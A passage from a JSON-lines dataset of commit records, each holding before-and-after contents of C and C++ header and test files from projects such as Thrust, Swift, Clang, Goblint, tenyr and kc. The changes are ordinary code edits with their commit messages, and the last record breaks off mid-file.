{"commit":"a7894a26d2e6487555024344f3fed9f5a8828140","old_file":"thrust\/detail\/casts.h","new_file":"thrust\/detail\/casts.h","old_contents":"","new_contents":"\/*\n *  Copyright 2008-2009 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n\/*! \\file casts.h\n *  \\brief Unsafe casts for internal use.\n *\/\n\n#pragma once\n\n#include <thrust\/iterator\/iterator_traits.h>\n\nnamespace thrust\n{\n\nnamespace detail\n{\n\nnamespace dispatch\n{\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_host_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>(&*i);\n} \/\/ end raw_pointer_cast()\n\n\/\/ this path will work for device_ptr & device_vector::iterator\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_device_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>((&*i).get());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end dispatch\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *raw_pointer_cast(TrivialIterator i)\n{\n  return detail::dispatch::raw_pointer_cast(i, thrust::iterator_traits<TrivialIterator>::iterator_category());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end detail\n\n} \/\/ end thrust\n\n","subject":"Add git r done version of detail::raw_pointer_cast","message":"Add git r done version of detail::raw_pointer_cast\n","lang":"C","license":"apache-2.0","repos":"Vishwa07\/thrust,lishi0927\/thrust,malenie\/thrust,bfurtaw\/thrust,UIKit0\/thrust,lishi0927\/thrust,UIKit0\/thrust,h1arshad\/thrust,UIKit0\/thrust,allendaicool\/thrust,levendlee\/thrust,rdmenezes\/thrust,google-code-export\/thrust,rdmenezes\/thrust,julianromera\/thrust,allendaicool\/thrust,hemmingway\/thrust,Vishwa07\/thrust,julianromera\/thrust,google-code-export\/thrust,allendaicool\/thrust,Vishwa07\/thrust,bfurtaw\/thrust,rdmenezes\/thrust,rdmenezes\/thrust,malenie\/thrust,julianromera\/thrust,levendlee\/thrust,google-code-export\/thrust,julianromera\/thrust,malenie\/thrust,lishi0927\/thrust,levendlee\/thrust,hemmingway\/thrust,levendlee\/thrust,UIKit0\/thrust,Vishwa07\/thrust,lishi0927\/thrust,malenie\/thrust,hemmingway\/thrust,hemmingway\/thrust,h1arshad\/thrust,bfurtaw\/thrust,allendaicool\/thrust,google-code-export\/thrust,h1arshad\/thrust,bfurtaw\/thrust,h1arshad\/thrust"}
{"commit":"c2d80c25893d00dfb8172caa05ac39b4eecaede1","old_file":"include\/swift\/Runtime\/Once.h","new_file":"include\/swift\/Runtime\/Once.h","old_contents":"\/\/===--- Once.h - Runtime support for lazy initialization ------*- C++ -*--===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Swift runtime functions in support of lazy initialization.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_RUNTIME_ONCE_H\n#define SWIFT_RUNTIME_ONCE_H\n\n#include \"swift\/Runtime\/HeapObject.h\"\n\nnamespace swift {\n\n#ifdef __APPLE__\n\n\/\/ On OS X and iOS, swift_once_t matches dispatch_once_t.\ntypedef long swift_once_t;\n\n#else\n\n\/\/ On other platforms swift_once_t is pointer-sized.\ntypedef int swift_once_t;\n\n#endif\n\n\/\/\/ Runs the given function with the given context argument exactly once.\n\/\/\/ The predicate argument must point to a global or static variable of static\n\/\/\/ extent of type swift_once_t.\nextern \"C\"\nvoid swift_once(swift_once_t *predicate, void (*fn)(HeapObject *ctx),\n                HeapObject *ctx);\n\n}\n\n#endif\n","new_contents":"\/\/===--- Once.h - Runtime support for lazy initialization ------*- C++ -*--===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Swift runtime functions in support of lazy initialization.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_RUNTIME_ONCE_H\n#define SWIFT_RUNTIME_ONCE_H\n\n#include \"swift\/Runtime\/HeapObject.h\"\n\nnamespace swift {\n\n#ifdef __APPLE__\n\n\/\/ On OS X and iOS, swift_once_t matches dispatch_once_t.\ntypedef long swift_once_t;\n\n#else\n\n\/\/ On other platforms swift_once_t is pointer-sized.\ntypedef void *swift_once_t;\n\n#endif\n\n\/\/\/ Runs the given function with the given context argument exactly once.\n\/\/\/ The predicate argument must point to a global or static variable of static\n\/\/\/ extent of type swift_once_t.\nextern \"C\"\nvoid swift_once(swift_once_t *predicate, void (*fn)(HeapObject *ctx),\n                HeapObject *ctx);\n\n}\n\n#endif\n","subject":"Change swift_once_t to be actually pointer-sized on non-Darwin","message":"Change swift_once_t to be actually pointer-sized on non-Darwin\n\nSwift SVN r22384\n","lang":"C","license":"apache-2.0","repos":"nathawes\/swift,danielmartin\/swift,ben-ng\/swift,jtbandes\/swift,ken0nek\/swift,gregomni\/swift,Ivacker\/swift,gottesmm\/swift,LeoShimonaka\/swift,gregomni\/swift,tardieu\/swift,swiftix\/swift,adrfer\/swift,xedin\/swift,KrishMunot\/swift,tardieu\/swift,kentya6\/swift,djwbrown\/swift,swiftix\/swift.old,devincoughlin\/swift,zisko\/swift,SwiftAndroid\/swift,parkera\/swift,gmilos\/swift,roambotics\/swift,OscarSwanros\/swift,jtbandes\/swift,karwa\/swift,ahoppen\/swift,russbishop\/swift,practicalswift\/swift,kusl\/swift,mightydeveloper\/swift,MukeshKumarS\/Swift,calebd\/swift,kperryua\/swift,felix91gr\/swift,atrick\/swift,practicalswift\/swift,frootloops\/swift,felix91gr\/swift,swiftix\/swift,JGiola\/swift,devincoughlin\/swift,austinzheng\/swift,practicalswift\/swift,slavapestov\/swift,hooman\/swift,kentya6\/swift,glessard\/swift,jmgc\/swift,sdulal\/swift,huonw\/swift,hughbe\/swift,felix91gr\/swift,OscarSwanros\/swift,sschiau\/swift,jmgc\/swift,MukeshKumarS\/Swift,therealbnut\/swift,frootloops\/swift,codestergit\/swift,tjw\/swift,mightydeveloper\/swift,xwu\/swift,sschiau\/swift,nathawes\/swift,modocache\/swift,Ivacker\/swift,uasys\/swift,CodaFi\/swift,roambotics\/swift,uasys\/swift,tinysun212\/swift-windows,roambotics\/swift,gregomni\/swift,devincoughlin\/swift,khizkhiz\/swift,felix91gr\/swift,kstaring\/swift,xedin\/swift,kentya6\/swift,mightydeveloper\/swift,parkera\/swift,brentdax\/swift,ben-ng\/swift,hughbe\/swift,tinysun212\/swift-windows,lorentey\/swift,Jnosh\/swift,Ivacker\/swift,khizkhiz\/swift,xedin\/swift,rudkx\/swift,gottesmm\/swift,ahoppen\/swift,lorentey\/swift,roambotics\/swift,calebd\/swift,austinzheng\/swift,modocache\/swift,sdulal\/swift,benlangmuir\/swift,stephentyrone\/swift,austinzheng\/swift,xwu\/swift,uasys\/swift,devincoughlin\/swift,sdulal\/swift,danielmartin\/swift,LeoShimonaka\/swift,kentya6\/swift,tkremenek\/swift,austinzheng\/swift,stephentyrone\/swift,arvedviehweger\/swift,hooman\/swift,JaSpa\/swift,dduan\/swift,KrishMunot\/swift,IngmarStein\/swift,felix91gr\/swift,glessard\/swift,nathawes\/swift,slavapestov\/swift,ben-ng\/swift,russbishop\/swift,Jnosh\/swift,djwbrown\/swift,therealbnut\/swift,kusl\/swift,codestergit\/swift,OscarSwanros\/swift,austinzheng\/swift,kperryua\/swift,milseman\/swift,airspeedswift\/swift,alblue\/swift,JGiola\/swift,manavgabhawala\/swift,cbrentharris\/swift,cbrentharris\/swift,roambotics\/swift,jopamer\/swift,gmilos\/swift,gribozavr\/swift,arvedviehweger\/swift,uasys\/swift,zisko\/swift,amraboelela\/swift,manavgabhawala\/swift,CodaFi\/swift,ben-ng\/swift,OscarSwanros\/swift,gribozavr\/swift,jopamer\/swift,huonw\/swift,milseman\/swift,brentdax\/swift,aschwaighofer\/swift,shahmishal\/swift,jmgc\/swift,swiftix\/swift.old,emilstahl\/swift,adrfer\/swift,CodaFi\/swift,CodaFi\/swift,shahmishal\/swift,zisko\/swift,manavgabhawala\/swift,amraboelela\/swift,cbrentharris\/swift,uasys\/swift,frootloops\/swift,nathawes\/swift,zisko\/swift,deyton\/swift,jopamer\/swift,kstaring\/swift,cbrentharris\/swift,mightydeveloper\/swift,swiftix\/swift.old,stephentyrone\/swift,rudkx\/swift,khizkhiz\/swift,lorentey\/swift,harlanhaskins\/swift,kperryua\/swift,dduan\/swift,kperryua\/swift,MukeshKumarS\/Swift,gmilos\/swift,practicalswift\/swift,gmilos\/swift,LeoShimonaka\/swift,tkremenek\/swift,aschwaighofer\/swift,jckarter\/swift,return\/swift,kusl\/swift,codestergit\/swift,CodaFi\/swift,allevato\/swift,tinysun212\/swift-windows,codestergit\/swift,practicalswift\/swift,gribozavr\/swift,milseman\/swift,airspeedswift\/swift,khizkhiz\/swift,rudkx\/swift,lorentey\/swift,dduan\/swift,karwa\/swift,modocache\/swift,kentya6\/swift,shajrawi\/swift,jckarter\/swift,jtbandes\/swift,practicalswift\/swift,devincoughlin\/swift,bitjammer\/swift,Ivacker\/swift,johnno1962d\/swift,return\/swift,tinysun212\/swift-windows,deyton\/swift,ken0nek\/swift,shahmishal\/swift,sschiau\/swift,JGiola\/swift,dreamsxin\/swift,slavapestov\/swift,dduan\/swift,bitjammer\/swift,manavgabhawala\/swift,arvedviehweger\/swift,JaSpa\/swift,ken0nek\/swift,jckarter\/swift,shajrawi\/swift,kusl\/swift,gregomni\/swift,deyton\/swift,tjw\/swift,johnno1962d\/swift,johnno1962d\/swift,hughbe\/swift,IngmarStein\/swift,parkera\/swift,SwiftAndroid\/swift,stephentyrone\/swift,xedin\/swift,modocache\/swift,return\/swift,bitjammer\/swift,swiftix\/swift.old,LeoShimonaka\/swift,therealbnut\/swift,devincoughlin\/swift,swiftix\/swift,sschiau\/swift,sdulal\/swift,danielmartin\/swift,dduan\/swift,cbrentharris\/swift,xedin\/swift,allevato\/swift,russbishop\/swift,sschiau\/swift,brentdax\/swift,apple\/swift,harlanhaskins\/swift,allevato\/swift,kperryua\/swift,sschiau\/swift,austinzheng\/swift,adrfer\/swift,xwu\/swift,aschwaighofer\/swift,alblue\/swift,natecook1000\/swift,gribozavr\/swift,gmilos\/swift,tkremenek\/swift,mightydeveloper\/swift,calebd\/swift,tinysun212\/swift-windows,sdulal\/swift,adrfer\/swift,milseman\/swift,swiftix\/swift,mightydeveloper\/swift,KrishMunot\/swift,airspeedswift\/swift,allevato\/swift,apple\/swift,amraboelela\/swift,stephentyrone\/swift,therealbnut\/swift,harlanhaskins\/swift,lorentey\/swift,tjw\/swift,arvedviehweger\/swift,tardieu\/swift,swiftix\/swift,MukeshKumarS\/Swift,xwu\/swift,apple\/swift,jmgc\/swift,benlangmuir\/swift,arvedviehweger\/swift,CodaFi\/swift,bitjammer\/swift,nathawes\/swift,shajrawi\/swift,brentdax\/swift,adrfer\/swift,lorentey\/swift,modocache\/swift,tardieu\/swift,shahmishal\/swift,JaSpa\/swift,tinysun212\/swift-windows,LeoShimonaka\/swift,brentdax\/swift,return\/swift,zisko\/swift,kperryua\/swift,tkremenek\/swift,IngmarStein\/swift,harlanhaskins\/swift,allevato\/swift,gottesmm\/swift,benlangmuir\/swift,natecook1000\/swift,atrick\/swift,roambotics\/swift,OscarSwanros\/swift,uasys\/swift,johnno1962d\/swift,tardieu\/swift,kperryua\/swift,bitjammer\/swift,ahoppen\/swift,cbrentharris\/swift,jmgc\/swift,emilstahl\/swift,shajrawi\/swift,ben-ng\/swift,lorentey\/swift,xwu\/swift,Ivacker\/swift,calebd\/swift,kstaring\/swift,glessard\/swift,natecook1000\/swift,slavapestov\/swift,rudkx\/swift,hooman\/swift,atrick\/swift,gottesmm\/swift,codestergit\/swift,codestergit\/swift,Jnosh\/swift,brentdax\/swift,parkera\/swift,stephentyrone\/swift,swiftix\/swift.old,xwu\/swift,emilstahl\/swift,gribozavr\/swift,slavapestov\/swift,atrick\/swift,tjw\/swift,LeoShimonaka\/swift,frootloops\/swift,hughbe\/swift,manavgabhawala\/swift,karwa\/swift,arvedviehweger\/swift,JaSpa\/swift,MukeshKumarS\/Swift,adrfer\/swift,jopamer\/swift,deyton\/swift,xedin\/swift,kentya6\/swift,gottesmm\/swift,dduan\/swift,jmgc\/swift,xedin\/swift,parkera\/swift,zisko\/swift,manavgabhawala\/swift,LeoShimonaka\/swift,rudkx\/swift,devincoughlin\/swift,arvedviehweger\/swift,karwa\/swift,therealbnut\/swift,kstaring\/swift,JaSpa\/swift,tkremenek\/swift,alblue\/swift,zisko\/swift,russbishop\/swift,ben-ng\/swift,kstaring\/swift,jopamer\/swift,tjw\/swift,karwa\/swift,djwbrown\/swift,jckarter\/swift,gribozavr\/swift,Jnosh\/swift,xwu\/swift,gmilos\/swift,ahoppen\/swift,gregomni\/swift,milseman\/swift,jckarter\/swift,aschwaighofer\/swift,airspeedswift\/swift,SwiftAndroid\/swift,atrick\/swift,dduan\/swift,danielmartin\/swift,slavapestov\/swift,ahoppen\/swift,sdulal\/swift,karwa\/swift,slavapestov\/swift,amraboelela\/swift,johnno1962d\/swift,return\/swift,hooman\/swift,Jnosh\/swift,rudkx\/swift,SwiftAndroid\/swift,huonw\/swift,swiftix\/swift.old,russbishop\/swift,uasys\/swift,IngmarStein\/swift,huonw\/swift,kusl\/swift,harlanhaskins\/swift,tardieu\/swift,modocache\/swift,dreamsxin\/swift,swiftix\/swift,JGiola\/swift,gribozavr\/swift,glessard\/swift,Jnosh\/swift,harlanhaskins\/swift,practicalswift\/swift,jopamer\/swift,SwiftAndroid\/swift,alblue\/swift,Ivacker\/swift,swiftix\/swift.old,OscarSwanros\/swift,hughbe\/swift,shahmishal\/swift,khizkhiz\/swift,jmgc\/swift,JaSpa\/swift,khizkhiz\/swift,kusl\/swift,alblue\/swift,jtbandes\/swift,tkremenek\/swift,allevato\/swift,ahoppen\/swift,gottesmm\/swift,shajrawi\/swift,johnno1962d\/swift,danielmartin\/swift,KrishMunot\/swift,hooman\/swift,tardieu\/swift,gmilos\/swift,emilstahl\/swift,airspeedswift\/swift,karwa\/swift,gottesmm\/swift,nathawes\/swift,stephentyrone\/swift,codestergit\/swift,parkera\/swift,frootloops\/swift,tjw\/swift,kstaring\/swift,IngmarStein\/swift,deyton\/swift,calebd\/swift,swiftix\/swift.old,ken0nek\/swift,felix91gr\/swift,airspeedswift\/swift,parkera\/swift,danielmartin\/swift,austinzheng\/swift,hughbe\/swift,therealbnut\/swift,glessard\/swift,russbishop\/swift,amraboelela\/swift,sdulal\/swift,IngmarStein\/swift,djwbrown\/swift,apple\/swift,KrishMunot\/swift,parkera\/swift,manavgabhawala\/swift,modocache\/swift,shahmishal\/swift,ken0nek\/swift,apple\/swift,kstaring\/swift,IngmarStein\/swift,adrfer\/swift,benlangmuir\/swift,milseman\/swift,SwiftAndroid\/swift,mightydeveloper\/swift,MukeshKumarS\/Swift,natecook1000\/swift,jckarter\/swift,natecook1000\/swift,ken0nek\/swift,JGiola\/swift,danielmartin\/swift,cbrentharris\/swift,calebd\/swift,amraboelela\/swift,deyton\/swift,Ivacker\/swift,JaSpa\/swift,JGiola\/swift,SwiftAndroid\/swift,jckarter\/swift,jtbandes\/swift,kusl\/swift,gribozavr\/swift,gregomni\/swift,deyton\/swift,emilstahl\/swift,aschwaighofer\/swift,bitjammer\/swift,airspeedswift\/swift,OscarSwanros\/swift,emilstahl\/swift,calebd\/swift,natecook1000\/swift,khizkhiz\/swift,aschwaighofer\/swift,amraboelela\/swift,LeoShimonaka\/swift,huonw\/swift,tkremenek\/swift,sdulal\/swift,emilstahl\/swift,jopamer\/swift,Ivacker\/swift,shahmishal\/swift,sschiau\/swift,CodaFi\/swift,kusl\/swift,glessard\/swift,kentya6\/swift,MukeshKumarS\/Swift,bitjammer\/swift,ben-ng\/swift,felix91gr\/swift,therealbnut\/swift,sschiau\/swift,cbrentharris\/swift,atrick\/swift,johnno1962d\/swift,lorentey\/swift,tinysun212\/swift-windows,KrishMunot\/swift,benlangmuir\/swift,KrishMunot\/swift,Jnosh\/swift,kentya6\/swift,mightydeveloper\/swift,natecook1000\/swift,harlanhaskins\/swift,shajrawi\/swift,huonw\/swift,frootloops\/swift,brentdax\/swift,hooman\/swift,devincoughlin\/swift,nathawes\/swift,hooman\/swift,djwbrown\/swift,huonw\/swift,xedin\/swift,swiftix\/swift,tjw\/swift,return\/swift,alblue\/swift,jtbandes\/swift,shajrawi\/swift,allevato\/swift,djwbrown\/swift,apple\/swift,jtbandes\/swift,hughbe\/swift,aschwaighofer\/swift,djwbrown\/swift,frootloops\/swift,emilstahl\/swift,return\/swift,benlangmuir\/swift,russbishop\/swift,karwa\/swift,ken0nek\/swift,milseman\/swift,practicalswift\/swift,shahmishal\/swift,shajrawi\/swift,alblue\/swift"}
{"commit":"9798249d63e84964367186af697156e76dffa06c","old_file":"tests\/regression\/02-base\/56-printf-ptr.c","new_file":"tests\/regression\/02-base\/56-printf-ptr.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <assert.h>\n\nint main() {\n  int x = 42;\n  printf(\"&x = %p\\n\", &x); \/\/ doesn't invalidate x despite taking address\n  assert(x == 42);\n  return 0;\n}\n","subject":"Add test where printf shouldn't invalidate pointer argument","message":"Add test where printf shouldn't invalidate pointer argument\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b165ed7f282b736bb7fe9fa5e98455a437d23fa4","old_file":"test\/CodeGen\/arm-asm-variable.c","new_file":"test\/CodeGen\/arm-asm-variable.c","old_contents":"\/\/ RUN: %clang_cc1 -triple armv7-apple-darwin9 -emit-llvm -w -o - %s | FileCheck %s\n#include <stdint.h>\n\n#define ldrex_func(p, rl, rh) \\\n  __asm__ __volatile__( \\\n\t\t       \"ldrexd%[_rl], %[_rh], [%[_p]]\" \\\n\t\t       : [_rl] \"=&r\" (rl), [_rh] \"=&r\" (rh) \\\n\t\t       : [_p] \"p\" (p) : \"memory\")\n\nint64_t foo(int64_t v, volatile int64_t *p)\n{\n  register uint32_t rl asm(\"r1\");\n  register uint32_t rh asm(\"r2\");\n\n  int64_t r;\n  uint32_t t;\n\n  __asm__ __volatile__(\t\t\t\t\t\t\t\\\n\t\t       \"ldrexd%[_rl], %[_rh], [%[_p]]\"\t\t\t\\\n\t\t       : [_rl] \"=&r\" (rl), [_rh] \"=&r\" (rh)\t\t\\\n\t\t       : [_p] \"p\" (p) : \"memory\");\n\n  \/\/ CHECK: %0 = call %0 asm sideeffect \"ldrexd$0, $1, [$2]\", \"={r1},={r2},r,~{memory}\"(i64* %tmp)\n\n  return r;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple armv7-apple-darwin9 -emit-llvm -w -o - %s | FileCheck %s\n#include <stdint.h>\n\n#define ldrex_func(p, rl, rh) \\\n  __asm__ __volatile__( \\\n\t\t       \"ldrexd%[_rl], %[_rh], [%[_p]]\" \\\n\t\t       : [_rl] \"=&r\" (rl), [_rh] \"=&r\" (rh) \\\n\t\t       : [_p] \"p\" (p) : \"memory\")\n\nint64_t foo(int64_t v, volatile int64_t *p)\n{\n  register uint32_t rl asm(\"r1\");\n  register uint32_t rh asm(\"r2\");\n\n  int64_t r;\n  uint32_t t;\n\n  __asm__ __volatile__(\t\t\t\t\t\t\t\\\n\t\t       \"ldrexd%[_rl], %[_rh], [%[_p]]\"\t\t\t\\\n\t\t       : [_rl] \"=&r\" (rl), [_rh] \"=&r\" (rh)\t\t\\\n\t\t       : [_p] \"p\" (p) : \"memory\");\n\n  \/\/ CHECK: %0 = call %0 asm sideeffect \"ldrexd$0, $1, [$2]\", \"={r1},={r2},r,~{memory}\"(i64*\n\n  return r;\n}\n","subject":"Make this test suitable for optimized builds by avoiding the name.","message":"Make this test suitable for optimized builds by avoiding the name.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@133238 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"cf6afff7e568d87b92f9bbdae6e3c6608a981e6a","old_file":"Classes\/KRCloudSyncBlocks.h","new_file":"Classes\/KRCloudSyncBlocks.h","old_contents":"\/\/\n\/\/  KRCloudSyncBlocks.h\n\/\/  CloudSync\n\/\/\n\/\/  Created by allting on 12. 10. 19..\n\/\/  Copyright (c) 2012년 allting. All rights reserved.\n\/\/\n\n#ifndef CloudSync_KRCloudSyncBlocks_h\n#define CloudSync_KRCloudSyncBlocks_h\n\n@class KRSyncItem;\n\ntypedef void (^KRCloudSyncStartBlock)(NSArray* syncItems);\ntypedef void (^KRCloudSyncProgressBlock)(KRSyncItem* synItem, float progress);\ntypedef void (^KRCloudSyncCompletedBlock)(NSArray* syncItems, NSError* error);\n\ntypedef void (^KRCloudSyncResultBlock)(BOOL succeeded, NSError* error);\n\ntypedef void (^KRCloudSyncPublishingURLBlock)(NSURL* url, BOOL succeeded, NSError* error);\n\ntypedef void (^KRResourcesCompletedBlock)(NSArray* resources, NSError* error);\n\ntypedef void (^KRServiceAvailableBlock)(BOOL available);\ntypedef void (^KRiCloudRemoveFileBlock)(BOOL succeeded, NSError* error);\n\n\n#endif\n","new_contents":"\/\/\n\/\/  KRCloudSyncBlocks.h\n\/\/  CloudSync\n\/\/\n\/\/  Created by allting on 12. 10. 19..\n\/\/  Copyright (c) 2012년 allting. All rights reserved.\n\/\/\n\n#ifndef CloudSync_KRCloudSyncBlocks_h\n#define CloudSync_KRCloudSyncBlocks_h\n\n@class KRSyncItem;\n\ntypedef void (^KRCloudSyncStartBlock)(NSArray* syncItems);\ntypedef void (^KRCloudSyncProgressBlock)(KRSyncItem* synItem, CGFloat progress);\ntypedef void (^KRCloudSyncCompletedBlock)(NSArray* syncItems, NSError* error);\n\ntypedef void (^KRCloudSyncResultBlock)(BOOL succeeded, NSError* error);\n\ntypedef void (^KRCloudSyncPublishingURLBlock)(NSURL* url, BOOL succeeded, NSError* error);\n\ntypedef void (^KRResourcesCompletedBlock)(NSArray* resources, NSError* error);\n\ntypedef void (^KRServiceAvailableBlock)(BOOL available);\ntypedef void (^KRiCloudRemoveFileBlock)(BOOL succeeded, NSError* error);\n\n\n#endif\n","subject":"Support amd64. Release 2.3.5. Replace crittercism sdk.(ver 4.3.7)","message":"Support amd64.\nRelease 2.3.5.\nReplace crittercism sdk.(ver 4.3.7)\n","lang":"C","license":"mit","repos":"MindPreview\/KRCloudSync,MindPreview\/KRCloudSync"}
{"commit":"2e1f71bdc24f162a88b0262350743d641b67bc4d","old_file":"src\/os\/Win32\/plugin.h","new_file":"src\/os\/Win32\/plugin.h","old_contents":"#ifndef PLUGIN_H_\n#define PLUGIN_H_\n\n#include <windows.h>\n\n#define EXPORT_CALLING __stdcall\n#define EXPORT __declspec(dllexport) EXPORT_CALLING\n\n#include \"common.h\"\n\n\/\/ just defined to make compilation work ; ignored\n#define RTLD_DEFAULT NULL\n#define RTLD_LOCAL   -1\n#define RTLD_LAZY    -1\n\nstatic inline void *dlopen(const char *name, int flags)\n{\n    \/\/ TODO use LoadLibraryEx() and flags ?\n    return LoadLibrary(name);\n}\n\nstatic inline void *dlsym(void *handle, const char *name)\n{\n    FARPROC g = GetProcAddress(handle, name);\n    void *h;\n    *(FARPROC*)&h = g;\n    return h;\n}\n\nstatic inline char *dlerror(void)\n{\n    static __thread char buf[1024];\n\n    FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK,\n        NULL,\n        GetLastError(),\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR)&buf,\n        sizeof buf, NULL);\n\n    return buf;\n}\n\nstatic inline int dlclose(void *handle)\n{\n    return !FreeLibrary(handle);\n}\n\n#endif\n\n","new_contents":"#ifndef PLUGIN_H_\n#define PLUGIN_H_\n\n#include <windows.h>\n\n\/\/ TODO use __stdcall\n#define EXPORT_CALLING __cdecl\n#define EXPORT __declspec(dllexport) EXPORT_CALLING\n\n#include \"common.h\"\n\n\/\/ just defined to make compilation work ; ignored\n#define RTLD_DEFAULT NULL\n#define RTLD_LOCAL   -1\n#define RTLD_LAZY    -1\n\nstatic inline void *dlopen(const char *name, int flags)\n{\n    \/\/ TODO use LoadLibraryEx() and flags ?\n    return LoadLibrary(name);\n}\n\nstatic inline void *dlsym(void *handle, const char *name)\n{\n    FARPROC g = GetProcAddress(handle, name);\n    void *h;\n    *(FARPROC*)&h = g;\n    return h;\n}\n\nstatic inline char *dlerror(void)\n{\n    static __thread char buf[1024];\n\n    FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK,\n        NULL,\n        GetLastError(),\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR)&buf,\n        sizeof buf, NULL);\n\n    return buf;\n}\n\nstatic inline int dlclose(void *handle)\n{\n    return !FreeLibrary(handle);\n}\n\n#endif\n\n","subject":"Switch to __cdecl till we get --kill-at to work","message":"Switch to __cdecl till we get --kill-at to work\n\nWith this build, 32-bit windows DLL loads and checks out, but we really\nwant to use __stdcall for the DLL entry points.\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"7752089ccdc6fd6c25c0af25275752cf2317eb0b","old_file":"common.h","new_file":"common.h","old_contents":"#ifndef _COMMON_H\n#define _COMMON_H\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#ifdef _LINUX\n#include <bsd\/string.h>\n#endif\n\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <libxml\/xmlsave.h>\n#include <libxml\/encoding.h>\n#include <libxml\/xmlstring.h>\n\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n\n#ifndef _READLINE\n#include <histedit.h>\n#else\n#include <readline\/readline.h>\n#include <readline\/history.h>\n#endif\n\n\n#define\tNAME\t\"kc\"\n#define\tVERSION\t\"2.2.0\"\n#define\tUSAGE\t\"[-k database file] [-r] [-p password file] [-m cipher mode] [-b] [-v] [-h]\"\n\n#define\tPASSWORD_MAXLEN\t64\n\nenum {\n\tKC_GENERATE_IV = 1,\n\tKC_GENERATE_SALT = 1 << 1,\n\tKC_GENERATE_KEY = 1 << 2\n};\n\n#ifndef _READLINE\nconst char\t*el_prompt_null(void);\n#endif\nconst char\t*prompt_str(void);\nint\t\tmalloc_check(void *);\nvoid\t\tversion(void);\nvoid\t\tquit(int);\n\n\n#endif\n","new_contents":"#ifndef _COMMON_H\n#define _COMMON_H\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#ifdef _LINUX\n#include <bsd\/string.h>\n#endif\n\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <libxml\/xmlsave.h>\n#include <libxml\/encoding.h>\n#include <libxml\/xmlstring.h>\n\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n\n#ifndef _READLINE\n#include <histedit.h>\n#else\n#include <readline\/readline.h>\n#include <readline\/history.h>\n#endif\n\n\n#define\tNAME\t\"kc\"\n#define\tVERSION\t\"2.2.0rc2\"\n#define\tUSAGE\t\"[-k database file] [-r] [-p password file] [-m cipher mode] [-b] [-v] [-h]\"\n\n#define\tPASSWORD_MAXLEN\t64\n\nenum {\n\tKC_GENERATE_IV = 1,\n\tKC_GENERATE_SALT = 1 << 1,\n\tKC_GENERATE_KEY = 1 << 2\n};\n\n#ifndef _READLINE\nconst char\t*el_prompt_null(void);\n#endif\nconst char\t*prompt_str(void);\nint\t\tmalloc_check(void 